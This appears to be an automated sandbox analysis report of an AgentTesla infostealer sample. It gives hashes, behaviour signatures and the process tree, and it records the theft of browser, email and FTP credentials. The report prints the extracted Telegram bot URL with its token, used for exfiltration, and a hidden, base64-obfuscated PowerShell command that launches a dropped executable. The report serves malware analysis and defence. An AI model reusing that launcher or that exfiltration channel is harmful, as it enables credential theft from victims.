Analysis
- max time kernel
149s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
10/09/2026, 11:02
General
- Target 61a3329e0b50aae82345eb558cd9d8cd422b700f35b7e25b592adcf9c974795a.exe
- Size 1.1MB
- Sample260910-m5a7aagf38
- SHA256 61a3329e0b50aae82345eb558cd9d8cd422b700f35b7e25b592adcf9c974795a
Malware Config
Extracted
-
agenttesla
-
https://api.telegram.org/bot8902811340:AAFPusUUWmQ29CRTQ25F5tADqizfjYQ791o/
Signatures
- Family: AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 2 IoCs
- Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 11 IoCs
- Suspicious use of AdjustPrivilegeToken 5 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
- outlook_office_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\61a3329e0b50aae82345eb558cd9d8cd422b700f35b7e25b592adcf9c974795a.exe"C:\Users\Admin\AppData\Local\Temp\61a3329e0b50aae82345eb558cd9d8cd422b700f35b7e25b592adcf9c974795a.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\61a3329e0b50aae82345eb558cd9d8cd422b700f35b7e25b592adcf9c974795a.exe"C:\Users\Admin\AppData\Local\Temp\61a3329e0b50aae82345eb558cd9d8cd422b700f35b7e25b592adcf9c974795a.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
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C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$1st54i=$env:COMPUTERNAME;$uxat0s=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$vunnd5=[System.Environment]::TickCount;$qhpx5r=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXE5KSi5leGU=')));$yaazla=1074;& $uxat0s -FilePath $qhpx5r"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\NJJ.exe"C:\Users\Admin\AppData\Roaming\NJJ.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\NJJ.exe"C:\Users\Admin\AppData\Roaming\NJJ.exe"3⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
-
-
Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
NJJ.exe
memory/3940-18-0x00007FFE410BF000-0x00007FFE410C0000-memory.dmp
memory/3940-31-0x00007FFE40F30000-0x00007FFE418D4000-memory.dmp
memory/3940-30-0x00007FFE40F30000-0x00007FFE418D4000-memory.dmp
memory/3940-27-0x00007FFE40F30000-0x00007FFE418D4000-memory.dmp
memory/3940-26-0x00007FFE40F30000-0x00007FFE418D4000-memory.dmp
memory/3940-25-0x00007FFE40F30000-0x00007FFE418D4000-memory.dmp
memory/3940-24-0x00007FFE40F30000-0x00007FFE418D4000-memory.dmp
memory/3940-23-0x00007FFE40F30000-0x00007FFE418D4000-memory.dmp
memory/3940-22-0x0000018AE3460000-0x0000018AE3482000-memory.dmp
memory/3940-21-0x00007FFE40F30000-0x00007FFE418D4000-memory.dmp
memory/4872-14-0x0000000074B10000-0x00000000752CC000-memory.dmp
memory/4872-32-0x0000000006030000-0x0000000006080000-memory.dmp
memory/4872-13-0x0000000000400000-0x0000000000442000-memory.dmp
memory/4872-33-0x0000000074B10000-0x00000000752CC000-memory.dmp
memory/4872-16-0x0000000074B10000-0x00000000752CC000-memory.dmp
memory/4872-15-0x0000000004FE0000-0x0000000005046000-memory.dmp
memory/5288-9-0x00000000051B0000-0x00000000051D2000-memory.dmp
memory/5288-5-0x0000000074B10000-0x00000000752CC000-memory.dmp
memory/5288-10-0x0000000074B22000-0x0000000074B23000-memory.dmp
memory/5288-12-0x0000000007EE0000-0x0000000007FBC000-memory.dmp
memory/5288-8-0x00000000061F0000-0x000000000654B000-memory.dmp
memory/5288-7-0x0000000004FD0000-0x0000000004FF2000-memory.dmp
memory/5288-6-0x0000000004F00000-0x0000000004F9C000-memory.dmp
memory/5288-11-0x0000000074B10000-0x00000000752CC000-memory.dmp
memory/5288-4-0x0000000004DB0000-0x0000000004DBA000-memory.dmp
memory/5288-3-0x0000000004D10000-0x0000000004DA2000-memory.dmp
memory/5288-2-0x0000000005230000-0x00000000057EA000-memory.dmp
memory/5288-1-0x00000000000D0000-0x00000000001F0000-memory.dmp
memory/5288-17-0x0000000074B10000-0x00000000752CC000-memory.dmp
memory/5288-0-0x0000000074B22000-0x0000000074B23000-memory.dmp